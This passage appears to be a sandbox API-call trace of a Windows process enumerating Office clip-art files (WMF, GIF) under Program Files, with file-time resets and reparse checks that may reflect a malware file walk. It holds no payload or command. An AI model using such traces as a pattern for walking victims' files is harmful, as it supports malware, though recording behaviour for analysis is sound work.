lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef2cd000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xef2cd000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18230_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfa3500, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcfa3500, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18231_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763d200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4763d200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18232_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a76a200, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5a76a200, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18233_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eba9f00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6eba9f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x754, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18234_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a25aa00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8a25aa00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18235_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9ad400, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc71fe0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9f9ad400, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18236_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29966d00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29966d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18237_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb50ffe00, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb50ffe00, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18238_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9086900, ftCreationTime.dwHighDateTime=0x1bddcaa, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd9086900, ftLastWriteTime.dwHighDateTime=0x1bddcaa, nFileSizeHigh=0x0, nFileSizeLow=0x93c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18239_.WMF", cAlternateFileName="")) returned 1 [0073.675] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2305400, ftCreationTime.dwHighDateTime=0x1bddca6, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa2305400, ftLastWriteTime.dwHighDateTime=0x1bddca6, nFileSizeHigh=0x0, nFileSizeLow=0xac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18241_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a42b600, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a42b600, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18242_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fb7e000, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fb7e000, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18243_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d151300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc98140, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1d151300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18244_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3027e300, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3027e300, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18245_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc4feb00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcc4feb00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18246_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba237c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xba237c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18247_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd364c00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcd364c00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18248_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2f4300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b2f4300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x8a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18249_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ef00, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbccbe2a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ef00, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x142e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18250_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc86500, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xefc86500, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18251_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ec2300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe8ec2300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18252_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb803b00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb803b00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x6ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18253_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bca4100, ftCreationTime.dwHighDateTime=0x1bddcab, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1bca4100, ftLastWriteTime.dwHighDateTime=0x1bddcab, nFileSizeHigh=0x0, nFileSizeLow=0x796, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18254_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55feb900, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x55feb900, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x822, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18255_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a21700, ftCreationTime.dwHighDateTime=0x1bdcf1c, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd7a21700, ftLastWriteTime.dwHighDateTime=0x1bdcf1c, nFileSizeHigh=0x0, nFileSizeLow=0x8ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18256_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 1 [0073.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd83b2900, ftCreationTime.dwHighDateTime=0x1bdfe4b, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd83b2900, ftLastWriteTime.dwHighDateTime=0x1bdfe4b, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18257_.WMF", cAlternateFileName="")) returned 0 [0073.676] GetLastError () returned 0x12 [0073.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0073.676] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0073.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0073.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.677] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BULLETS", cAlternateFileName="")) returned 1 [0073.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0073.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0073.731] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0073.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa8b500 [0073.731] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa8b500, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa8b500, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0073.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa8b500) returned 1 [0073.731] NtClose (Handle=0x170) returned 0x0 [0073.731] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.731] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0073.732] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.732] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0073.824] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.882] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0073.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64690 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa86dc0 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.883] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa646b0 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa86ec8 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.883] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa646d0 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa86fd0 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10263_.GIF", cAlternateFileName="")) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa646f0 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa870d8 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10264_.GIF", cAlternateFileName="")) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64710 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa871e0 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c 